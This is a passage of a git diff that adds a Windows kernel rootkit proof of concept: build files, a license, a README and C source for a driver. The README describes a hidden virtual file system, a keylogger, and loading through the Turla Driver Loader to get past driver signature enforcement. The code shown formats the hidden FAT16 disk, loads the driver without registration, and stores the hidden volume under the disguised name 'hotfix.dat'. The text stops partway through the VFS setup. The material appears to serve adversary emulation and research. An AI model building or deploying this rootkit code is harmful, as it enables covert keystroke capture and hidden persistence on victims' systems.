diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..822db11 --- /dev/null +++ b/.gitignore @@ -0,0 +1,55 @@ +# Prerequisites +*.d + +# Object files +*.o +*.ko +*.obj +*.elf + +# Linker output +*.ilk +*.map +*.exp + +# Precompiled Headers +*.gch +*.pch + +# Libraries +*.lib +*.a +*.la +*.lo + +# Shared objects (inc. Windows DLLs) +*.dll +*.so +*.so.* +*.dylib + +# Executables +*.exe +*.out +*.app +*.i*86 +*.x86_64 +*.hex + +# Debug files +*.dSYM/ +*.su +*.idb +*.pdb + +# Kernel Module Compile Results +*.mod* +*.cmd +.tmp_versions/ +modules.order +Module.symvers +Mkfile.old +dkms.conf + +# Exclude the .vs Directory +.vs/* diff --git a/INTRACTABLEGIRAFFE.sln b/INTRACTABLEGIRAFFE.sln new file mode 100755 index 0000000..053ee6e --- /dev/null +++ b/INTRACTABLEGIRAFFE.sln @@ -0,0 +1,35 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio Version 17 +VisualStudioVersion = 17.2.32526.322 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "INTRACTABLEGIRAFFE", "src\INTRACTABLEGIRAFFE.vcxproj", "{734D7464-3863-41C1-A01D-8EEF349E4FF1}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|ARM64 = Debug|ARM64 + Debug|x64 = Debug|x64 + Release|ARM64 = Release|ARM64 + Release|x64 = Release|x64 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {734D7464-3863-41C1-A01D-8EEF349E4FF1}.Debug|ARM64.ActiveCfg = Debug|ARM64 + {734D7464-3863-41C1-A01D-8EEF349E4FF1}.Debug|ARM64.Build.0 = Debug|ARM64 + {734D7464-3863-41C1-A01D-8EEF349E4FF1}.Debug|ARM64.Deploy.0 = Debug|ARM64 + {734D7464-3863-41C1-A01D-8EEF349E4FF1}.Debug|x64.ActiveCfg = Debug|x64 + {734D7464-3863-41C1-A01D-8EEF349E4FF1}.Debug|x64.Build.0 = Debug|x64 + {734D7464-3863-41C1-A01D-8EEF349E4FF1}.Debug|x64.Deploy.0 = Debug|x64 + {734D7464-3863-41C1-A01D-8EEF349E4FF1}.Release|ARM64.ActiveCfg = Release|ARM64 + {734D7464-3863-41C1-A01D-8EEF349E4FF1}.Release|ARM64.Build.0 = Release|ARM64 + {734D7464-3863-41C1-A01D-8EEF349E4FF1}.Release|ARM64.Deploy.0 = Release|ARM64 + {734D7464-3863-41C1-A01D-8EEF349E4FF1}.Release|x64.ActiveCfg = Release|x64 + {734D7464-3863-41C1-A01D-8EEF349E4FF1}.Release|x64.Build.0 = Release|x64 + {734D7464-3863-41C1-A01D-8EEF349E4FF1}.Release|x64.Deploy.0 = Release|x64 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection + GlobalSection(ExtensibilityGlobals) = postSolution + SolutionGuid = {F3B34903-9BA2-4037-99E3-1E2FA0E07EE8} + EndGlobalSection +EndGlobal diff --git a/LICENSE b/LICENSE new file mode 100644 index 0000000..261eeb9 --- /dev/null +++ b/LICENSE @@ -0,0 +1,201 @@ + Apache License + Version 2.0, January 2004 + http://www.apache.org/licenses/ + + TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION + + 1. Definitions. + + "License" shall mean the terms and conditions for use, reproduction, + and distribution as defined by Sections 1 through 9 of this document. + + "Licensor" shall mean the copyright owner or entity authorized by + the copyright owner that is granting the License. + + "Legal Entity" shall mean the union of the acting entity and all + other entities that control, are controlled by, or are under common + control with that entity. For the purposes of this definition, + "control" means (i) the power, direct or indirect, to cause the + direction or management of such entity, whether by contract or + otherwise, or (ii) ownership of fifty percent (50%) or more of the + outstanding shares, or (iii) beneficial ownership of such entity. + + "You" (or "Your") shall mean an individual or Legal Entity + exercising permissions granted by this License. + + "Source" form shall mean the preferred form for making modifications, + including but not limited to software source code, documentation + source, and configuration files. + + "Object" form shall mean any form resulting from mechanical + transformation or translation of a Source form, including but + not limited to compiled object code, generated documentation, + and conversions to other media types. + + "Work" shall mean the work of authorship, whether in Source or + Object form, made available under the License, as indicated by a + copyright notice that is included in or attached to the work + (an example is provided in the Appendix below). + + "Derivative Works" shall mean any work, whether in Source or Object + form, that is based on (or derived from) the Work and for which the + editorial revisions, annotations, elaborations, or other modifications + represent, as a whole, an original work of authorship. For the purposes + of this License, Derivative Works shall not include works that remain + separable from, or merely link (or bind by name) to the interfaces of, + the Work and Derivative Works thereof. + + "Contribution" shall mean any work of authorship, including + the original version of the Work and any modifications or additions + to that Work or Derivative Works thereof, that is intentionally + submitted to Licensor for inclusion in the Work by the copyright owner + or by an individual or Legal Entity authorized to submit on behalf of + the copyright owner. For the purposes of this definition, "submitted" + means any form of electronic, verbal, or written communication sent + to the Licensor or its representatives, including but not limited to + communication on electronic mailing lists, source code control systems, + and issue tracking systems that are managed by, or on behalf of, the + Licensor for the purpose of discussing and improving the Work, but + excluding communication that is conspicuously marked or otherwise + designated in writing by the copyright owner as "Not a Contribution." + + "Contributor" shall mean Licensor and any individual or Legal Entity + on behalf of whom a Contribution has been received by Licensor and + subsequently incorporated within the Work. + + 2. Grant of Copyright License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + copyright license to reproduce, prepare Derivative Works of, + publicly display, publicly perform, sublicense, and distribute the + Work and such Derivative Works in Source or Object form. + + 3. Grant of Patent License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + (except as stated in this section) patent license to make, have made, + use, offer to sell, sell, import, and otherwise transfer the Work, + where such license applies only to those patent claims licensable + by such Contributor that are necessarily infringed by their + Contribution(s) alone or by combination of their Contribution(s) + with the Work to which such Contribution(s) was submitted. If You + institute patent litigation against any entity (including a + cross-claim or counterclaim in a lawsuit) alleging that the Work + or a Contribution incorporated within the Work constitutes direct + or contributory patent infringement, then any patent licenses + granted to You under this License for that Work shall terminate + as of the date such litigation is filed. + + 4. Redistribution. You may reproduce and distribute copies of the + Work or Derivative Works thereof in any medium, with or without + modifications, and in Source or Object form, provided that You + meet the following conditions: + + (a) You must give any other recipients of the Work or + Derivative Works a copy of this License; and + + (b) You must cause any modified files to carry prominent notices + stating that You changed the files; and + + (c) You must retain, in the Source form of any Derivative Works + that You distribute, all copyright, patent, trademark, and + attribution notices from the Source form of the Work, + excluding those notices that do not pertain to any part of + the Derivative Works; and + + (d) If the Work includes a "NOTICE" text file as part of its + distribution, then any Derivative Works that You distribute must + include a readable copy of the attribution notices contained + within such NOTICE file, excluding those notices that do not + pertain to any part of the Derivative Works, in at least one + of the following places: within a NOTICE text file distributed + as part of the Derivative Works; within the Source form or + documentation, if provided along with the Derivative Works; or, + within a display generated by the Derivative Works, if and + wherever such third-party notices normally appear. The contents + of the NOTICE file are for informational purposes only and + do not modify the License. You may add Your own attribution + notices within Derivative Works that You distribute, alongside + or as an addendum to the NOTICE text from the Work, provided + that such additional attribution notices cannot be construed + as modifying the License. + + You may add Your own copyright statement to Your modifications and + may provide additional or different license terms and conditions + for use, reproduction, or distribution of Your modifications, or + for any such Derivative Works as a whole, provided Your use, + reproduction, and distribution of the Work otherwise complies with + the conditions stated in this License. + + 5. Submission of Contributions. Unless You explicitly state otherwise, + any Contribution intentionally submitted for inclusion in the Work + by You to the Licensor shall be under the terms and conditions of + this License, without any additional terms or conditions. + Notwithstanding the above, nothing herein shall supersede or modify + the terms of any separate license agreement you may have executed + with Licensor regarding such Contributions. + + 6. Trademarks. This License does not grant permission to use the trade + names, trademarks, service marks, or product names of the Licensor, + except as required for reasonable and customary use in describing the + origin of the Work and reproducing the content of the NOTICE file. + + 7. Disclaimer of Warranty. Unless required by applicable law or + agreed to in writing, Licensor provides the Work (and each + Contributor provides its Contributions) on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or + implied, including, without limitation, any warranties or conditions + of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A + PARTICULAR PURPOSE. You are solely responsible for determining the + appropriateness of using or redistributing the Work and assume any + risks associated with Your exercise of permissions under this License. + + 8. Limitation of Liability. In no event and under no legal theory, + whether in tort (including negligence), contract, or otherwise, + unless required by applicable law (such as deliberate and grossly + negligent acts) or agreed to in writing, shall any Contributor be + liable to You for damages, including any direct, indirect, special, + incidental, or consequential damages of any character arising as a + result of this License or out of the use or inability to use the + Work (including but not limited to damages for loss of goodwill, + work stoppage, computer failure or malfunction, or any and all + other commercial damages or losses), even if such Contributor + has been advised of the possibility of such damages. + + 9. Accepting Warranty or Additional Liability. While redistributing + the Work or Derivative Works thereof, You may choose to offer, + and charge a fee for, acceptance of support, warranty, indemnity, + or other liability obligations and/or rights consistent with this + License. However, in accepting such obligations, You may act only + on Your own behalf and on Your sole responsibility, not on behalf + of any other Contributor, and only if You agree to indemnify, + defend, and hold each Contributor harmless for any liability + incurred by, or claims asserted against, such Contributor by reason + of your accepting any such warranty or additional liability. + + END OF TERMS AND CONDITIONS + + APPENDIX: How to apply the Apache License to your work. + + To apply the Apache License to your work, attach the following + boilerplate notice, with the fields enclosed by brackets "[]" + replaced with your own identifying information. (Don't include + the brackets!) The text should be enclosed in the appropriate + comment syntax for the file format. We also recommend that a + file or class name and description of purpose be included on the + same "printed page" as the copyright notice for easier + identification within third-party archives. + + Copyright [yyyy] [name of copyright owner] + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. diff --git a/README.md b/README.md new file mode 100644 index 0000000..c6971fe --- /dev/null +++ b/README.md @@ -0,0 +1,12 @@ +# Overview +INTRACTABLEGIRAFFE is a proof of concept rootkit developed to demonstrate the usage of a hidden Virtual File System (VFS) to store files outside of the standard Windows file system. The design of INTRACTABLEGRAFFE is inspired by the Uroburos rootkit [1], which implements both a volatile and a non-volatile hidden VFS. INTRACTABLEGIRAFFE supports loading by the "Turla Driver Loader" tool developed by hFiref0x/EP_X0FF on 64-bit operating systems to bypass driver signature enforcement. + +# Components +INTRACTABLEGIRAFFE has three primary components: a volatile VFS, non-volatile VFS, and a keylogger leveraged to capture keystrokes entered by the user. Component descriptions are as follows: +* Volatile VFS: Stores the VFS data within the non-paged pool and doesn’t persist any of the corresponding filesystem data to disk. +* Non-Volatile VFS: Stores the VFS data within a file on the filesystem which contains the hidden file system embedded within it. +* Keylogger: They keylogger is a standard KeyboardClass0 keylogger that captures keystrokes. It layers on top of the keyboard driver to register an IoCompletionRoutine, which enables it to capture keystrokes after the underlying device reads them. + +# More Information + +For more information on INTRACTABLEGIRAFFE including usage instructions, key design considerations, and potential future expansion work, please see the blog post we have published entitled [Developing a Hidden Virtual File System Capability That Emulates the Uroburos Rootkit](https://www.praetorian.com/blog/developing-a-vfs-that-emulates-uroburos-rootkit). diff --git a/src/INTRACTABLEGIRAFFE.vcxproj b/src/INTRACTABLEGIRAFFE.vcxproj new file mode 100755 index 0000000..0bf0c4d --- /dev/null +++ b/src/INTRACTABLEGIRAFFE.vcxproj @@ -0,0 +1,140 @@ + + + + + Debug + x64 + + + Release + x64 + + + Debug + ARM64 + + + Release + ARM64 + + + + {734D7464-3863-41C1-A01D-8EEF349E4FF1} + {dd38f7fc-d7bd-488b-9242-7d8754cde80d} + v4.5 + 12.0 + Debug + x64 + INTRACTABLEGIRAFFE + + + + Windows10 + true + WindowsKernelModeDriver10.0 + Driver + WDM + false + + + Windows10 + false + WindowsKernelModeDriver10.0 + Driver + WDM + false + + + Windows10 + true + WindowsKernelModeDriver10.0 + Driver + WDM + + + Windows10 + false + WindowsKernelModeDriver10.0 + Driver + WDM + + + + + + + + + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + + sha256 + + + false + false + + + + + sha256 + + + false + + + false + + + false + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/src/format.c b/src/format.c new file mode 100755 index 0000000..5bcdf17 --- /dev/null +++ b/src/format.c @@ -0,0 +1,205 @@ +/* + * Copyright 2022 Praetorian Security, Inc. + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +#include + +#include "vfs.h" +#include "format.h" + +NTSTATUS +VFSFormatFAT16( + IN PVFS_DEVICE_EXTENSION VFSExtension + ) + +/*++ + + Routine Description: + + This routine formats the new disk as a FAT16 filesystem + + Arguments: + + DeviceObject - Supplies a pointer to the device object that represents + the device whose capacity is to be read. + + Return Value: + + NTSTATUS (status of the formatting operation) + +--*/ + +{ + + PBOOT_SECTOR_FAT16 bootSector = (PBOOT_SECTOR_FAT16) VFSExtension->DiskImage; + PUCHAR firstFatSector; + ULONG rootDirEntries; + ULONG sectorsPerCluster; + USHORT fatEntries; // Number of cluster entries in FAT + USHORT fatSectorCnt; // Number of sectors for FAT + PDIR_ENTRY rootDir; // Pointer to first entry in root dir + + PAGED_CODE(); + ASSERT(sizeof(BOOT_SECTOR_FAT16) == 512); + ASSERT(VFSExtension->DiskImage != NULL); + + RtlZeroMemory(VFSExtension->DiskImage, VFSExtension->DiskSize); + + VFSExtension->DiskGeometry.BytesPerSector = 512; + VFSExtension->DiskGeometry.SectorsPerTrack = 32; // Using Ramdisk value + VFSExtension->DiskGeometry.TracksPerCylinder = 2; // Using Ramdisk value + + // + // Calculate number of cylinders. + // + + VFSExtension->DiskGeometry.Cylinders.QuadPart = VFSExtension->DiskSize / 512 / 32 / 2; + + // + // Our media type is RAMDISK_MEDIA_TYPE + // + + VFSExtension->DiskGeometry.MediaType = 0xF8; + + KdPrint(("Cylinders: %I64d\n TracksPerCylinder: %lu\n SectorsPerTrack: %lu\n BytesPerSector: %lu\n", + VFSExtension->DiskGeometry.Cylinders.QuadPart, VFSExtension->DiskGeometry.TracksPerCylinder, + VFSExtension->DiskGeometry.SectorsPerTrack, VFSExtension->DiskGeometry.BytesPerSector + )); + + rootDirEntries = 224; + sectorsPerCluster = 16; + + // + // Round Root Directory entries up if necessary + // + + if (rootDirEntries & (DIR_ENTRIES_PER_SECTOR - 1)) { + rootDirEntries = (rootDirEntries + (DIR_ENTRIES_PER_SECTOR - 1)) & ~(DIR_ENTRIES_PER_SECTOR - 1); + } + + KdPrint(("Root dir entries: %lu\n Sectors/cluster: %lu\n", + rootDirEntries, sectorsPerCluster + )); + + // + // We need to have the 0xeb and 0x90 since this is one of the + // checks the file system recognizer uses + // + + bootSector->bsJump[0] = 0xeb; + bootSector->bsJump[1] = 0x3c; + bootSector->bsJump[2] = 0x90; + + // + // Set OemName to "RajuRam " + // NOTE: Fill all 8 characters, eg. sizeof(bootSector->bsOemName); + // + + bootSector->bsOemName[0] = 'R'; + bootSector->bsOemName[1] = 'a'; + bootSector->bsOemName[2] = 'j'; + bootSector->bsOemName[3] = 'u'; + bootSector->bsOemName[4] = 'R'; + bootSector->bsOemName[5] = 'a'; + bootSector->bsOemName[6] = 'm'; + bootSector->bsOemName[7] = ' '; + + bootSector->bsBytesPerSec = (SHORT)VFSExtension->DiskGeometry.BytesPerSector; + bootSector->bsResSectors = 1; + bootSector->bsFATs = 1; + bootSector->bsRootDirEnts = (USHORT)rootDirEntries; + + bootSector->bsSectors = (USHORT)(VFSExtension->DiskSize / VFSExtension->DiskGeometry.BytesPerSector); + bootSector->bsMedia = (UCHAR)VFSExtension->DiskGeometry.MediaType; + bootSector->bsSecPerClus = (UCHAR)sectorsPerCluster; + + // + // Calculate number of sectors required for FAT + // + + fatEntries = (bootSector->bsSectors - bootSector->bsResSectors - bootSector->bsRootDirEnts / DIR_ENTRIES_PER_SECTOR) / bootSector->bsSecPerClus + 2; + + DbgPrint("[IG Driver:Ramdisk] FAT 16 SELECTED"); + + fatSectorCnt = (fatEntries * 2 + 511) / 512; + fatEntries = fatEntries + fatSectorCnt; + fatSectorCnt = (fatEntries * 2 + 511) / 512; + + bootSector->bsFATsecs = fatSectorCnt; + bootSector->bsSecPerTrack = (USHORT)VFSExtension->DiskGeometry.SectorsPerTrack; + bootSector->bsHeads = (USHORT)VFSExtension->DiskGeometry.TracksPerCylinder; + bootSector->bsBootSignature = 0x0; + bootSector->bsVolumeID = 0xC0FFFFEE; + + bootSector->bsLabel[0] = 'N'; + bootSector->bsLabel[1] = 'O'; + bootSector->bsLabel[2] = ' '; + bootSector->bsLabel[3] = 'N'; + bootSector->bsLabel[4] = 'A'; + bootSector->bsLabel[5] = 'M'; + bootSector->bsLabel[6] = 'E'; + bootSector->bsLabel[7] = ' '; + bootSector->bsLabel[8] = ' '; + bootSector->bsLabel[9] = ' '; + bootSector->bsLabel[10] = ' '; + + bootSector->bsFileSystemType[0] = 'F'; + bootSector->bsFileSystemType[1] = 'A'; + bootSector->bsFileSystemType[2] = 'T'; + bootSector->bsFileSystemType[3] = '1'; + bootSector->bsFileSystemType[4] = '6'; + bootSector->bsFileSystemType[5] = ' '; + bootSector->bsFileSystemType[6] = ' '; + bootSector->bsFileSystemType[7] = ' '; + + bootSector->bsSig2[0] = 0x55; + bootSector->bsSig2[1] = 0xAA; + + // + // The FAT is located immediately following the boot sector. + // + + firstFatSector = (PUCHAR)(bootSector + 1); + firstFatSector[0] = (UCHAR)VFSExtension->DiskGeometry.MediaType; + firstFatSector[1] = 0xFF; + firstFatSector[2] = 0xFF; + + + firstFatSector[3] = 0xFF; + + + // + // The Root Directory follows the FAT + // + + rootDir = (PDIR_ENTRY)(bootSector + 1 + fatSectorCnt); + + rootDir->deName[0] = ' '; + rootDir->deName[1] = ' '; + rootDir->deName[2] = ' '; + rootDir->deName[3] = ' '; + rootDir->deName[4] = ' '; + rootDir->deName[5] = ' '; + rootDir->deName[6] = ' '; + rootDir->deName[7] = ' '; + + rootDir->deExtension[0] = ' '; + rootDir->deExtension[1] = ' '; + rootDir->deExtension[2] = ' '; + + rootDir->deAttributes = DIR_ATTR_VOLUME; + + return STATUS_SUCCESS; +} \ No newline at end of file diff --git a/src/format.h b/src/format.h new file mode 100644 index 0000000..39c6946 --- /dev/null +++ b/src/format.h @@ -0,0 +1,134 @@ +/* + * Copyright 2022 Praetorian Security, Inc. + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +#pragma once + +#include + +#define NT_DEVICE_NAME L"\\Device\\Ramdisk" +#define DOS_DEVICE_NAME L"\\DosDevices\\" + +#define RAMDISK_TAG 'DmaR' // "RamD" +#define DOS_DEVNAME_LENGTH (sizeof(DOS_DEVICE_NAME)+sizeof(WCHAR)*10) +#define DRIVE_LETTER_LENGTH (sizeof(WCHAR)*10) + +#define DRIVE_LETTER_BUFFER_SIZE 10 +#define DOS_DEVNAME_BUFFER_SIZE (sizeof(DOS_DEVICE_NAME) / 2) + 10 + +#define RAMDISK_MEDIA_TYPE 0xF8 +#define DIR_ENTRIES_PER_SECTOR 16 + +#define DEFAULT_DISK_SIZE (1024*1024) // 1 MB +#define DEFAULT_ROOT_DIR_ENTRIES 512 +#define DEFAULT_SECTORS_PER_CLUSTER 2 +#define DEFAULT_DRIVE_LETTER L"Z:" + +#pragma pack(1) + +typedef struct _BOOT_SECTOR_FAT32 +{ + UCHAR BS_jmpBoot[3]; + UCHAR BS_OEMName[8]; + UCHAR BPB_BytsPerSec; + UCHAR BPB_SecPerClus; + SHORT BPB_RsvdSecCnt; + UCHAR BPB_NumFATs; + SHORT BPB_RootEntCnt; + USHORT BPB_TotSec16; + UCHAR BPB_Media; + USHORT BPB_FATSz16; + USHORT BPB_SecPerTrk; + USHORT BPB_NumHeads; + ULONG BPB_HiddSec; + ULONG BPB_TotSec32; + ULONG BPB_FATSz32; + USHORT BPB_ExtFlags; + USHORT BPB_FSVer; + ULONG BPB_RootClus; + USHORT BPB_FSInfo; + USHORT BPB_BkBootSec; + UCHAR BPB_Reserved[12]; + UCHAR BS_DrvNum; + UCHAR BS_Reserved1; + UCHAR BS_BootSig; + ULONG BS_VolID; + UCHAR BS_VolLab[11]; + UCHAR BS_FileSystemType[8]; + UCHAR BS_ReservedPadding[420]; + UCHAR BS_Sigature[2]; +} BOOT_SECTOR_FAT32, *PBOOT_SECTOR_FAT32; + +typedef struct _BOOT_SECTOR_FAT16 +{ + UCHAR bsJump[3]; // x86 jmp instruction, checked by FS + CCHAR bsOemName[8]; // OEM name of formatter + USHORT bsBytesPerSec; // Bytes per Sector + UCHAR bsSecPerClus; // Sectors per Cluster + USHORT bsResSectors; // Reserved Sectors + UCHAR bsFATs; // Number of FATs - we always use 1 + USHORT bsRootDirEnts; // Number of Root Dir Entries + USHORT bsSectors; // Number of Sectors + UCHAR bsMedia; // Media type - we use RAMDISK_MEDIA_TYPE + USHORT bsFATsecs; // Number of FAT sectors + USHORT bsSecPerTrack; // Sectors per Track - we use 32 + USHORT bsHeads; // Number of Heads - we use 2 + ULONG bsHiddenSecs; // Hidden Sectors - we set to 0 + ULONG bsHugeSectors; // Number of Sectors if > 32 MB size + UCHAR bsDriveNumber; // Drive Number - not used + UCHAR bsReserved1; // Reserved + UCHAR bsBootSignature; // New Format Boot Signature - 0x29 + ULONG bsVolumeID; // VolumeID - set to 0x12345678 + CCHAR bsLabel[11]; // Label - set to RamDisk + CCHAR bsFileSystemType[8];// File System Type - FAT12 or FAT16 + CCHAR bsReserved2[448]; // Reserved + UCHAR bsSig2[2]; // Originial Boot Signature - 0x55, 0xAA +} BOOT_SECTOR_FAT16, *PBOOT_SECTOR_FAT16; + +typedef struct _DIR_ENTRY +{ + UCHAR deName[8]; // File Name + UCHAR deExtension[3]; // File Extension + UCHAR deAttributes; // File Attributes + UCHAR deReserved; // Reserved + USHORT deTime; // File Time + USHORT deDate; // File Date + USHORT deStartCluster; // First Cluster of file + ULONG deFileSize; // File Length +} DIR_ENTRY, *PDIR_ENTRY; + +#pragma pack() + +// +// Directory Entry Attributes +// + +#define DIR_ATTR_READONLY 0x01 +#define DIR_ATTR_HIDDEN 0x02 +#define DIR_ATTR_SYSTEM 0x04 +#define DIR_ATTR_VOLUME 0x08 +#define DIR_ATTR_DIRECTORY 0x10 +#define DIR_ATTR_ARCHIVE 0x20 + +// +// Function Prototypes +// + +NTSTATUS +VFSFormatFAT16( + PVFS_DEVICE_EXTENSION devExt + ); + + diff --git a/src/igmain.c b/src/igmain.c new file mode 100755 index 0000000..aa311df --- /dev/null +++ b/src/igmain.c @@ -0,0 +1,344 @@ +/* + * Copyright 2022 Praetorian Security, Inc. + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +#include + +#include "vfs.h" +#include "keylog.h" + +// +// Forward Declarations for Static Functions +// + +VOID +RealMain(); + +static NTSTATUS +RunQueueWorkItem( + IN PDRIVER_OBJECT DriverObject, + IN PUNICODE_STRING regPath +); + +VOID +WorkItemRoutine( + PDEVICE_OBJECT pDevObj, PVOID pContext +); + +static NTSTATUS +SetupVFS( + IN PDRIVER_OBJECT DriverObject, + IN PUNICODE_STRING regPath + ); + +static NTSTATUS +SetupKeylogger( + IN PDRIVER_OBJECT DriverObject, + IN PUNICODE_STRING regPath + ); + +// +// Undocumented NT Function Forward Declarations +// + +NTKERNELAPI NTSTATUS +IoCreateDriver( + IN PUNICODE_STRING DriverName, OPTIONAL + IN PDRIVER_INITIALIZE InitializationFunction + ); + +NTSTATUS +DriverEntry( + IN PDRIVER_OBJECT DriverObject, + IN PUNICODE_STRING regPath + ) + +/*++ + + Routine Description: + + Entrypoint for IG rootkit this routine can be executed as driverless + code as it does not utilize the DriverObject and regPath parameters. This + should allow our code to be loaded by the Turla Driver Loader from hFiref0x + + Arguments: + + DriverObject - Unreferenced Parameter + + regPath - Unreferenced Parameter + + Return Value: + + Always returns successful status + +--*/ + +{ + KIRQL Irql; + PWSTR sIrql; + + UNREFERENCED_PARAMETER(DriverObject); + UNREFERENCED_PARAMETER(regPath); + + DbgPrint("[IG] DriverEntry Called"); + DbgPrint("[IG] System range start is %p, code mapped at %p\n", MmSystemRangeStart, DriverEntry); + + Irql = KeGetCurrentIrql(); + + switch (Irql) { + + case PASSIVE_LEVEL: + sIrql = L"PASSIVE_LEVEL"; + break; + case APC_LEVEL: + sIrql = L"APC_LEVEL"; + break; + case DISPATCH_LEVEL: + sIrql = L"DISPATCH_LEVEL"; + break; + case CMCI_LEVEL: + sIrql = L"CMCI_LEVEL"; + break; + case CLOCK_LEVEL: + sIrql = L"CLOCK_LEVEL"; + break; + case IPI_LEVEL: + sIrql = L"IPI_LEVEL"; + break; + case HIGH_LEVEL: + sIrql = L"HIGH_LEVEL"; + break; + default: + sIrql = L"Unknown Value"; + break; + } + + DbgPrint("[IG] DriverEntry KeGetCurrentIrql=%ws\n", sIrql); + + if (Irql == PASSIVE_LEVEL) { + DbgPrint("[IG] Test Running at PASSIVE_LEVEL"); + RealMain(NULL); + } + else { + DbgPrint("[IG] Queuing an I/O work item to run asychronously"); + IoCreateDriver(NULL, RunQueueWorkItem); + } + + return STATUS_SUCCESS; +} + +VOID +WorkItemRoutine( + IN PDEVICE_OBJECT pDevObj, + IN PVOID pContext + ) +{ + KIRQL Irql; + PWSTR sIrql; + + UNREFERENCED_PARAMETER(pDevObj); + UNREFERENCED_PARAMETER(pContext); + + Irql = KeGetCurrentIrql(); + + switch (Irql) { + + case PASSIVE_LEVEL: + sIrql = L"PASSIVE_LEVEL"; + break; + case APC_LEVEL: + sIrql = L"APC_LEVEL"; + break; + case DISPATCH_LEVEL: + sIrql = L"DISPATCH_LEVEL"; + break; + case CMCI_LEVEL: + sIrql = L"CMCI_LEVEL"; + break; + case CLOCK_LEVEL: + sIrql = L"CLOCK_LEVEL"; + break; + case IPI_LEVEL: + sIrql = L"IPI_LEVEL"; + break; + case HIGH_LEVEL: + sIrql = L"HIGH_LEVEL"; + break; + default: + sIrql = L"Unknown Value"; + break; + } + + DbgPrint("Work Item Function - KeGetCurrentIrql=%ws\n", sIrql); + RealMain(); +} + +NTSTATUS +RunQueueWorkItem( + IN PDRIVER_OBJECT DriverObject, + IN PUNICODE_STRING regPath + ) +{ + UNREFERENCED_PARAMETER(regPath); + + NTSTATUS status; + PDEVICE_OBJECT pDeviceObject = NULL; + UNICODE_STRING usDriverName, usDosDeviceName; + + DbgPrint("[IG] RunQueueWorkitem Called"); + + // TODO: I don't think we actually need to make a valid DriverObject and DeviceObject to + // queue a work item to execute asynchronously. Instead, we could potentially investigate + // creating a fake structure and passing that in. + RtlInitUnicodeString(&usDriverName, L"\\Device\\QueueWorkItem"); + RtlInitUnicodeString(&usDosDeviceName, L"\\DosDevices\\QueueWorkItem"); + + status = IoCreateDevice(DriverObject, 0, &usDriverName, FILE_DEVICE_UNKNOWN, FILE_DEVICE_SECURE_OPEN, FALSE, &pDeviceObject); + + if (status == STATUS_SUCCESS) + { + DbgPrint("[IG] Queuing Work Item"); + PIO_WORKITEM pWorkItem; + pWorkItem = IoAllocateWorkItem(pDeviceObject); + IoQueueWorkItem(pWorkItem, WorkItemRoutine, DelayedWorkQueue, NULL); + } + else { + DbgPrint("[IG] Error creating device object with IoCreateDevice, status = 0x%08x", status); + } + + return status; +} + +VOID +RealMain() +{ + DbgPrint("[IG] RealMain Called"); + + // + // Setup and initialize the VFS component needs to be done before + // the keylogger module is initialized because we are storing + // the intercepted keystrokes into the VFS + // + + IoCreateDriver(NULL, SetupVFS); + + // + // To initialize the keylogging module we need to create a second + // driver object using IopCreateDriver + // + + IoCreateDriver(NULL, SetupKeylogger); +} + +static NTSTATUS +SetupVFS( + IN PDRIVER_OBJECT DriverObject, + IN PUNICODE_STRING regPath + ) + +/*++ + + Routine Description: + + Setup routine for IG VFS creates the non-volatile and volatile + Virtual File Systems (VFS) + + Arguments: + + DriverObject - DriverObject associated with driver + + regPath - Unreferenced Parameter + + Return Value: + + Always returns successful status + +--*/ + +{ + NTSTATUS status; + LARGE_INTEGER DiskSize; + PDEVICE_OBJECT VFSObject = NULL; + UNICODE_STRING DeviceName; + UNICODE_STRING DiskName; + UNICODE_STRING VFSPath; + + DiskSize.QuadPart = VFS_MiB(16); + + VFSInit(DriverObject, regPath); + + // + // Mount Non-Volatile VFS + // + + RtlInitUnicodeString(&DeviceName, L"\\Device\\RawDisk1"); + RtlInitUnicodeString(&DiskName, L"\\DosDevices\\Hd1"); + RtlInitUnicodeString(&VFSPath, L"\\SystemRoot\\hotfix.dat"); + + status = 